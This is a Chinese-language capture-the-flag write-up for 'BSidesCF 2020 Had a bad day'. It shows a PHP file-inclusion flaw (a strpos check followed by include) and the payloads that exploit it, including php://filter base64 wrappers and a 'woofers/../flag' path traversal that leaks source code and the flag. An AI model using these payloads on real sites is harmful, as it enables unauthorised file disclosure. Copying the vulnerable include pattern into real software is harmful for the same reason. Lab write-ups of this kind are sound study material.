[BSidesCF 2020]Had a bad day

点击左边的woofers会出现狗狗的图片,点击右边的meowers会出现猫猫的图片,但不论是出现什么图片url都会发生变化

出现了index.php?category,有点像伪协议,尝试一下php://filter/convert.base64-encode/resource=index 

出现了base64加密字符串,解密即得源码部分

              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

审计代码得知,里面就一个函数是phpstrpos()(PHP strpos() 函数 | 菜鸟教程)函数,即搜索字符串,需要满足的条件是出现woofers或者出现meowers或者出现index才会进行下一步,下一步就是include函数包含了flag,构造payload:index.php?category=woofers/../flag

f12查看源码发现了

现在flag可以直接读了,再次利用伪协议读取php://filter/read=convert.base64-encode/woofers/resource=flag

发现了base64加密字符串,解密即得flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值